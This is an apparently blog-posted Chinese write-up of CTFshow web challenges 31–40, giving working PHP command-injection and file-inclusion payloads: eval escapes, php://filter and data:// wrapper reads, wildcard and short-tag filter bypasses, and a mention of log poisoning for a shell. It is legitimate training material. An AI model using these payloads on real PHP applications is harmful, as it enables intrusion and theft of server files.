《CTFshow-Web入门》04. Web 31~40
@
ctf - web入门
web31
题解
过滤了空格、点、单引号和cat

方法一:
经典逃逸
url + ?c=eval($_GET[1]);&1=system('tac flag.php');

方法二:
空格的绕过可以使用 %09 (tab)
使用通配符来匹配文件
url + ?c=echo%09`tac%09fl*`;

方法三:
利用无参数函数:
url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

等多种方法
cat 被过滤的解决方案:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
原理
这里依旧可以用到 web29 的方法:
- 嵌套 eval 逃逸参数
当然,能多学一点自然是要多学一点。要像韩跑跑一样多留后手(不是
- url 编码
- Linux:通配符、其他命令
web32
题解
源码过滤了分号,echo,反引号,单引号,括号,分号。但没有过滤双引号。

方法一:
嵌套include文件包含,利用伪协议文件包含。
过滤了分号,那么可以直接 ?> 闭合php( ?> 闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的。除此以外,php代码最后一句可以不用加分号)
url + ?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码过后的源码。

原理大概就是,这里传了两个参数,
第一个参数c的内容是 include$_GET["a"]?>,
第二个参数a,不受后边匹配条件的影响。
即后面的php协议不会受到正则的约束
include传参实现文件包含,利用php伪协议就可以读取flag.php文件。
这里,也可以用$_POST,那么后续传参就通过post传参。
方法二:
与方法一大同小异
url + ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php
原理
- PHP:伪协议、文件包含、php代码的闭合。
web33
依旧是 PHP:伪协议、文件包含。
题解
在上一题的基础上过滤了双引号。

方法一:
既然过滤了双引号,那就直接加变量名。
url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34
还是 PHP:伪协议、文件包含。
题解
相比上题过滤了个冒号。不过并没有影响。继续用上一题的payload。

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
得到flag

web35
PHP:伪协议、文件包含。
题解
相比上题过滤了 < 和 = 。不过还是没有影响。

继续沿用上一题payload
url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
不要被迷惑了,第一个等号是用来传参的
得手

web36
- PHP:伪协议、文件包含
题解
过滤了0-9的数字和反斜杠
(数字过滤是因为可以用数字传参,$_GET[1],所以这里把数字过滤了)

但还是无法阻止我们闭合php,把数组的键改为英文就可以了,比如a。
url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37
题解
本题直接提供了一个include函数

方法一:
data伪协议配合通配符绕过
url + ?c=data://text/plain,<?php system('cat fl*')?>

方法二:
利用base64编解码
先对 <?php system("cat flag.php");?> 进行base64编码

再利用伪协议传输
url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

原理
- PHP:伪协议(data://)、文件包含
$c = 'data://text/plain,<?php echo hello?>';
include($c);
//php中,以上代码相当于包含了 <?php echo hello?>
web38
题解

解法一:
可以继续沿用上一题的payload。
url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

解法二:
php代码这里可以使用php短标签进行绕过,flag.php 可继续用通配符 ? 绕过
url + ?c=data://text/plain,<?=system('tac fla?.???')?>

解法三:
nginx 的日志文件 /var/log/nginx/access.log
题目提示可以通过包含日志文件拿 shell。
这个方法试了几次,虽然蚁剑连上了,但查看不了文件。
先这样吧,之后再来试一试原理
- PHP:伪协议(data://)、文件包含、短标签
web39
- PHP:伪协议(data://)、文件包含
题解
会在后面拼接一个 .php,但是过滤了flag
解法一:闭合 include函数,让拼接不执行
url + ?c=data://text/plain,<?php system('cat fl*')?>)?><?php
解法二:其实不用做其他处理,直接用通配符代替传参即可
url + ?c=data://text/plain,<?php system('cat fl*')?>
因为.php 前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上。
data://text/plain ,这样就相当于执行了php语句。.php 因为前面的php语句已经闭合了,所以后面的 .php 会被当成html页面直接显示在页面上,起不到什么作用
web40
题解
过滤了很多东西,但是下面是eval,可以直接函数执行
而且,仔细看,其中的括号过滤是中文全角的括号,而非半角的英文括号if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
所以还是可以使用括号。
解法一:
使用无参数函数。
url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
解法二:题中还给了另一个解法,使用session:输入 ?c=session_start();system(session_id());
这个解法也先放一放,之后再来试试。原理
- 无参数函数
酒一杯,泪双垂。君到长安百事违。几时归。
——《柳枝》(宋)朱敦儒
《CTFshow-Web入门》04. Web 31~40的更多相关文章
- 8、web入门回顾/ Http
1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作 : 启动: %tomcat%/bin/startup.bat 关闭: % ...
- Web入门
目录 Web入门 学习web路线 前端基础 三剑客的作用 BS架构 数据格式 HTTP协议 四大特性 数据格式 HTTP 状态码分类 状态码列表 案例:简易的BS架构 Web入门 什么是前端? 任何与 ...
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- ctfshow的web入门171
web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...
- Java web 入门知识 及HTTP协议详解
Java web 入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...
- python web入门程序
python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...
- Spring Boot 入门之 Web 篇(二)
原文地址:Spring Boot 入门之 Web 篇(二) 博客地址:http://www.extlight.com 一.前言 上一篇<Spring Boot 入门之基础篇(一)>介绍了 ...
- Python web前端 04 盒子模型
Python web前端 04 盒子模型 盒子模型是由内容(content).内边距(padding).外边距(margin).边框(border)组成的 一.边框 border #border 边框 ...
- Java Web入门经典扫描版
全书共分4篇19章,其中,第一篇为“起步篇”,主要包括开启JavaWeb之门.不可不知的客户端应用技术.驾驭JavaWeb开发环境.JavaWeb开发必修课之JSP语法等内容:第二篇为“核心篇”,主要 ...
随机推荐
- 关于JavaBean和vo的解释
前景提要 最近在学JavaWeb,接触到了很多java后端的概念,其中JavaBean和vo的概念一直让我模糊不清,查询众多资料后写个博客记录一下. 首先先贴一下两者的概念: JavaBean Jav ...
- 去掉谷歌/新版Edge 浏览器的禁用扩展提示
简介 你打开是谷歌/新版Edge浏览器的时候是不是总发现右上角有个提示?请禁用/停用以开发者模式运行的扩展程序?每次打开都有一个小框框,让人很烦? 接下来让我们使用 dll大法 来解决这个问题! 步骤 ...
- T-SQL——批量刷新视图
目录 0. 背景说明 1. 查询出所有使用了指定表的视图并生成刷新语句 2. 创建存储过程批量刷新 3. 刷新全部的视图 4. 参考 shanzm--2023年5月16日 0. 背景说明 为什么要刷新 ...
- es笔记四之中文分词插件安装与使用
本文首发于公众号:Hunter后端 原文链接:es笔记四之中文分词插件安装与使用 前面我们介绍的操作及演示都是基于英语单词的分词,但我们大部分使用的肯定都是中文,所以如果需要使用分词的操作肯定也是需要 ...
- S32DS---make: *** No rule to make target 'clean'. Stop和make: *** No rule to make target 'all'. Stop的一个解决方法
问题: 最近在用S32DS调试代码的时候,遇到一个稀奇古怪的问题: and 折腾了半天,发现从这个页面导入工程编译就不会出现这个问题???? file-->import projects fro ...
- Python 自动化测试的配置层实现方式对标与落地
Python中什么是配置文件,配置文件如何使用,有哪些支持的配置文件等内容,话不多说,让我们一起看看吧~ 1 什么是配置文件? 配置文件是用于配置计算机程序的参数和初始化设置的文件,如果没有这些配置程 ...
- k8s+log-pilot日志收集
github 地址:https://github.com/AliyunContainerService/log-pilot 介绍 log-pilot是一个很棒的 docker 日志工具.可以从dock ...
- 【Oracle】行转列的函数wm_concat,listagg,xmlagg,pivot以及动态行转列
[Oracle]行转列的几种情况 表的数据如下 朴实无华的函数 1.wm_concat 使用格式: select 分组字段,wm_concat(要转换的列名) from 表名 group by 分组字 ...
- #Powerbi 10分钟,理解 Rankx 排名函数
一:本文思维导图及示例数据图 1.1思维导图 1.2 示例数据图 二:度量值示例 2.1 函数简介 RANKX 首先为的每一行计值表达式,将结果临时存储为一个值列表.然后在当前筛选上下文中计值,将得 ...
- IoTOS-v1.5.3 新增 智能诊断&会话记录导出
IoTOS v1.5.3 一.新增智能诊断 智能诊断功能: 智能诊断会根据不同上游接口能力开放提供接近官方甚至比官方更加完善的智能诊断功能. 目前还原OneLink官方智能诊断功能包括动效.诊断建议等 ...





